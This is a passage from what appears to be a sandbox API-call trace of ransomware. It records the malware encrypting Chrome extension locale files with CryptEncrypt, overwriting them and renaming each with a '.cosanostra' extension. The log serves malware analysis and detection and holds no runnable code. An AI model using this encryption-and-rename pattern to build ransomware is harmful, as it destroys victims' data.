Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0085.130] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9b0 | out: pbBuffer=0x251f9b0) returned 1 [0085.130] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9a8*=0x30) returned 1 [0085.130] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.130] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json") returned 156 [0085.130] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.131] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffe9c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.131] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x251f96c, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f96c*=0x164, lpOverlapped=0x0) returned 1 [0085.131] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.131] WriteFile (in: hFile=0x184, lpBuffer=0x251f9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f96c, lpOverlapped=0x0 | out: lpBuffer=0x251f9ac*, lpNumberOfBytesWritten=0x251f96c*=0x4, lpOverlapped=0x0) returned 1 [0085.131] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f96c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f96c*=0x30, lpOverlapped=0x0) returned 1 [0085.131] CloseHandle (hObject=0x184) returned 1 [0085.131] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\messages.json.cosanostra")) returned 1 [0085.133] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9a8 | out: pbBuffer=0x251f9a8) returned 1 [0085.133] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f9a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f9a0*=0x30) returned 1 [0085.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.133] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json") returned 156 [0085.133] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.134] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff03, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.134] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0xfd, lpNumberOfBytesWritten=0x251f964, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f964*=0xfd, lpOverlapped=0x0) returned 1 [0085.134] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.134] WriteFile (in: hFile=0x184, lpBuffer=0x251f9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f964, lpOverlapped=0x0 | out: lpBuffer=0x251f9a4*, lpNumberOfBytesWritten=0x251f964*=0x4, lpOverlapped=0x0) returned 1 [0085.134] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f964, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f964*=0x30, lpOverlapped=0x0) returned 1 [0085.134] CloseHandle (hObject=0x184) returned 1 [0085.135] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0085.136] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f9a0 | out: pbBuffer=0x251f9a0) returned 1 [0085.137] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x251f998*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x251f998*=0x30) returned 1 [0085.137] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.137] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json") returned 156 [0085.137] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.138] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffee1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.138] WriteFile (in: hFile=0x184, lpBuffer=0x3019b38*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x251f95c, lpOverlapped=0x0 | out: lpBuffer=0x3019b38*, lpNumberOfBytesWritten=0x251f95c*=0x11f, lpOverlapped=0x0) returned 1 [0085.138] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.138] WriteFile (in: hFile=0x184, lpBuffer=0x251f99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f95c, lpOverlapped=0x0 | out: lpBuffer=0x251f99c*, lpNumberOfBytesWritten=0x251f95c*=0x4, lpOverlapped=0x0) returned 1 [0085.138] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f95c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x251f95c*=0x30, lpOverlapped=0x0) returned 1 [0085.138] CloseHandle (hObject=0x184) returned 1 [0085.138] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0085.581] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f990 | out: pbBuffer=0x251f990) returned 1 [0085.581] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f988*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f988*=0x30) returned 1 [0085.581] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0085.744] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json") returned 155 [0085.744] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.745] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.745] WriteFile (in: hFile=0x190, lpBuffer=0x30135b0*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x251f94c, lpOverlapped=0x0 | out: lpBuffer=0x30135b0*, lpNumberOfBytesWritten=0x251f94c*=0xe5, lpOverlapped=0x0) returned 1 [0085.745] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.745] WriteFile (in: hFile=0x190, lpBuffer=0x251f98c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f94c, lpOverlapped=0x0 | out: lpBuffer=0x251f98c*, lpNumberOfBytesWritten=0x251f94c*=0x4, lpOverlapped=0x0) returned 1 [0085.745] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f94c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f94c*=0x30, lpOverlapped=0x0) returned 1 [0085.745] CloseHandle (hObject=0x190) returned 1 [0085.746] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json.cosanostra")) returned 1 [0085.747] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f988 | out: pbBuffer=0x251f988) returned 1 [0085.747] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f980*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f980*=0x30) returned 1 [0085.747] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.881] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json") returned 155 [0085.881] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.882] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.882] WriteFile (in: hFile=0x184, lpBuffer=0x22af50*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x251f944, lpOverlapped=0x0 | out: lpBuffer=0x22af50*, lpNumberOfBytesWritten=0x251f944*=0xcf, lpOverlapped=0x0) returned 1 [0085.882] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.882] WriteFile (in: hFile=0x184, lpBuffer=0x251f984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f944, lpOverlapped=0x0 | out: lpBuffer=0x251f984*, lpNumberOfBytesWritten=0x251f944*=0x4, lpOverlapped=0x0) returned 1 [0085.882] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f944, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f944*=0x30, lpOverlapped=0x0) returned 1 [0085.882] CloseHandle (hObject=0x184) returned 1 [0085.883] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\da\\messages.json.cosanostra")) returned 1 [0085.885] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f980 | out: pbBuffer=0x251f980) returned 1 [0085.885] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f978*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f978*=0x30) returned 1 [0085.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0085.894] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json") returned 155 [0085.894] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.895] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffed0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.895] WriteFile (in: hFile=0x184, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x251f93c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x251f93c*=0x130, lpOverlapped=0x0) returned 1 [0085.895] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.895] WriteFile (in: hFile=0x184, lpBuffer=0x251f97c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f93c, lpOverlapped=0x0 | out: lpBuffer=0x251f97c*, lpNumberOfBytesWritten=0x251f93c*=0x4, lpOverlapped=0x0) returned 1 [0085.895] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f93c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f93c*=0x30, lpOverlapped=0x0) returned 1 [0085.895] CloseHandle (hObject=0x184) returned 1 [0085.896] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0085.936] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f978 | out: pbBuffer=0x251f978) returned 1 [0085.936] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f970*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f970*=0x30) returned 1 [0085.936] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0085.944] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json") returned 158 [0085.944] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff2b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.945] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xd5, lpNumberOfBytesWritten=0x251f934, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f934*=0xd5, lpOverlapped=0x0) returned 1 [0085.945] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.945] WriteFile (in: hFile=0x190, lpBuffer=0x251f974*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f934, lpOverlapped=0x0 | out: lpBuffer=0x251f974*, lpNumberOfBytesWritten=0x251f934*=0x4, lpOverlapped=0x0) returned 1 [0085.945] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f934, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f934*=0x30, lpOverlapped=0x0) returned 1 [0085.945] CloseHandle (hObject=0x190) returned 1 [0085.945] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_US\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\en_us\\messages.json.cosanostra")) returned 1 [0085.947] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f970 | out: pbBuffer=0x251f970) returned 1 [0085.947] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f968*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f968*=0x30) returned 1 [0085.947] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0085.950] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 159 [0085.950] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0085.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffff1b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0085.951] WriteFile (in: hFile=0x190, lpBuffer=0x301e380*, nNumberOfBytesToWrite=0xe5, lpNumberOfBytesWritten=0x251f92c, lpOverlapped=0x0 | out: lpBuffer=0x301e380*, lpNumberOfBytesWritten=0x251f92c*=0xe5, lpOverlapped=0x0) returned 1 [0085.951] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.951] WriteFile (in: hFile=0x190, lpBuffer=0x251f96c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f92c, lpOverlapped=0x0 | out: lpBuffer=0x251f96c*, lpNumberOfBytesWritten=0x251f92c*=0x4, lpOverlapped=0x0) returned 1 [0085.951] WriteFile (in: hFile=0x190, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f92c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f92c*=0x30, lpOverlapped=0x0) returned 1 [0085.951] CloseHandle (hObject=0x190) returned 1 [0085.952] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0085.954] 